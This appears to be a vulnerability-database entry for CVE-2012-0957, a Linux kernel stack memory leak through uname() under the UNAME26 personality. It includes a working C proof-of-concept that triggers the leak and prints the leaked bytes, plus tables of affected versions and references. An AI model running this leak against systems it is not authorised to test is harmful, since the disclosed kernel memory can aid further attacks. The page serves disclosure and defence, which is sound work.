CVE-2012-0957
Description
The override_release function in kernel/sys.c in the Linux kernel before 3.4.16 allows local users to obtain sensitive information from kernel stack memory via a uname system call in conjunction with a UNAME26 personality.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Linux Kernel 3.2.x - 'uname()' System Call Local Information Disclosure
/*
source: https://www.securityfocus.com/bid/55855/info
The Linux kernel is prone to a local information-disclosure vulnerability.
Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.
*/
/* Test for UNAME26 personality uname kernel stack leak.
* Copyright 2012, Kees Cook <keescook@chromium.org>
* License: GPLv3
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/utsname.h>
#define UNAME26 0x0020000
int dump_uts(void)
{
int i, leaked = 0;
struct utsname buf = { };
if (uname(&buf)) {
perror("uname");
exit(1);
}
printf("%s\n", buf.release);
for (i = strlen(buf.release) + 1; i < sizeof(buf.release); i++) {
unsigned char c = (unsigned char)buf.release[i];
printf("%02x", c);
if (c)
leaked = 1;
}
printf("\n");
return leaked ? (i - (strlen(buf.release) + 1)) : 0;
}
int main(int ac, char **av)
{
int leaked;
leaked = dump_uts();
if (leaked) {
printf("Leaked %d bytes even without UNAME26!?\n", leaked);
return 1;
}
if (personality(PER_LINUX | UNAME26) < 0) {
perror("personality");
exit(1);
}
leaked = dump_uts();
if (leaked) {
printf("Leaked %d bytes!\n", leaked);
return 1;
} else {
printf("Seems safe.\n");
return 0;
}
}
OS impact
Linux kernel Affected 108 releases
| Version | Status | Fixed in |
|---|---|---|
| 3.4.14 | Affected | โ |
| 3.4.13 | Affected | โ |
| 3.4.12 | Affected | โ |
| 3.4.11 | Affected | โ |
| 3.4.10 | Affected | โ |
| 3.4.5 | Affected | โ |
| 3.4.4 | Affected | โ |
| 3.4.3 | Affected | โ |
| 3.4.2 | Affected | โ |
| 3.4.1 | Affected | โ |
| 3.4 | Affected | โ |
| 3.3.8 | Affected | โ |
| 3.3.7 | Affected | โ |
| 3.3.6 | Affected | โ |
| 3.3.5 | Affected | โ |
| 3.3.4 | Affected | โ |
| 3.3.3 | Affected | โ |
| 3.3.2 | Affected | โ |
| 3.3.1 | Affected | โ |
| 3.3 | Affected | โ |
| 3.2.30 | Affected | โ |
| 3.2.29 | Affected | โ |
| 3.2.28 | Affected | โ |
| 3.2.27 | Affected | โ |
| 3.2.26 | Affected | โ |
| 3.2.25 | Affected | โ |
| 3.2.24 | Affected | โ |
| 3.2.23 | Affected | โ |
| 3.2.22 | Affected | โ |
| 3.2.21 | Affected | โ |
| 3.2.20 | Affected | โ |
| 3.2.19 | Affected | โ |
| 3.2.18 | Affected | โ |
| 3.2.17 | Affected | โ |
| 3.2.16 | Affected | โ |
| 3.2.15 | Affected | โ |
| 3.2.14 | Affected | โ |
| 3.2.13 | Affected | โ |
| 3.2.12 | Affected | โ |
| 3.2.11 | Affected | โ |
| 3.2.10 | Affected | โ |
| 3.2.9 | Affected | โ |
| 3.2.8 | Affected | โ |
| 3.2.7 | Affected | โ |
| 3.2.6 | Affected | โ |
| 3.2.5 | Affected | โ |
| 3.2.4 | Affected | โ |
| 3.2.3 | Affected | โ |
| 3.2.2 | Affected | โ |
| 3.2.1 | Affected | โ |
| 3.2 | Affected | โ |
| 3.1.10 | Affected | โ |
| 3.1.9 | Affected | โ |
| 3.1.8 | Affected | โ |
| 3.1.7 | Affected | โ |
| 3.1.6 | Affected | โ |
| 3.1.5 | Affected | โ |
| 3.1.4 | Affected | โ |
| 3.1.3 | Affected | โ |
| 3.1.2 | Affected | โ |
| 3.1.1 | Affected | โ |
| 3.1 | Affected | โ |
| 3.0.44 | Affected | โ |
| 3.0.43 | Affected | โ |
| 3.0.42 | Affected | โ |
| 3.0.41 | Affected | โ |
| 3.0.40 | Affected | โ |
| 3.0.39 | Affected | โ |
| 3.0.38 | Affected | โ |
| 3.0.37 | Affected | โ |
| 3.0.36 | Affected | โ |
| 3.0.35 | Affected | โ |
| 3.0.34 | Affected | โ |
| 3.0.33 | Affected | โ |
| 3.0.32 | Affected | โ |
| 3.0.31 | Affected | โ |
| 3.0.30 | Affected | โ |
| 3.0.29 | Affected | โ |
| 3.0.28 | Affected | โ |
| 3.0.27 | Affected | โ |
| 3.0.26 | Affected | โ |
| 3.0.25 | Affected | โ |
| 3.0.24 | Affected | โ |
| 3.0.23 | Affected | โ |
| 3.0.22 | Affected | โ |
| 3.0.21 | Affected | โ |
| 3.0.20 | Affected | โ |
| 3.0.19 | Affected | โ |
| 3.0.18 | Affected | โ |
| 3.0.17 | Affected | โ |
| 3.0.16 | Affected | โ |
| 3.0.15 | Affected | โ |
| 3.0.14 | Affected | โ |
| 3.0.13 | Affected | โ |
| 3.0.12 | Affected | โ |
| 3.0.11 | Affected | โ |
| 3.0.10 | Affected | โ |
| 3.0.9 | Affected | โ |
| 3.0.8 | Affected | โ |
| 3.0.7 | Affected | โ |
| 3.0.6 | Affected | โ |
| 3.0.5 | Affected | โ |
| 3.0.4 | Affected | โ |
| 3.0.3 | Affected | โ |
| 3.0.2 | Affected | โ |
| 3.0.1 | Affected | โ |
| 3.0 | Affected | โ |
| โ | Affected | โ |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3.2.32-1 |
| sid | Fixed | 3.2.32-1 |
| forky | Fixed | 3.2.32-1 |
| bullseye | Fixed | 3.2.32-1 |
| bookworm | Fixed | 3.2.32-1 |
References
- http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=2702b1526c7278c4d65d78de209a465d4de2885e
- http://lists.fedoraproject.org/pipermail/package-announce/2012-November/091110.html
- http://secunia.com/advisories/51409
- http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.4.16
- http://www.openwall.com/lists/oss-security/2012/10/09/4
- http://www.ubuntu.com/usn/USN-1644-1
- http://www.ubuntu.com/usn/USN-1645-1
- http://www.ubuntu.com/usn/USN-1646-1
- http://www.ubuntu.com/usn/USN-1647-1
- http://www.ubuntu.com/usn/USN-1648-1
- http://www.ubuntu.com/usn/USN-1649-1
- http://www.ubuntu.com/usn/USN-1652-1
- https://bugzilla.redhat.com/show_bug.cgi?id=862877
- https://github.com/torvalds/linux/commit/2702b1526c7278c4d65d78de209a465d4de2885e
- https://security-tracker.debian.org/tracker/CVE-2012-0957
CWEs
CWE-16
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.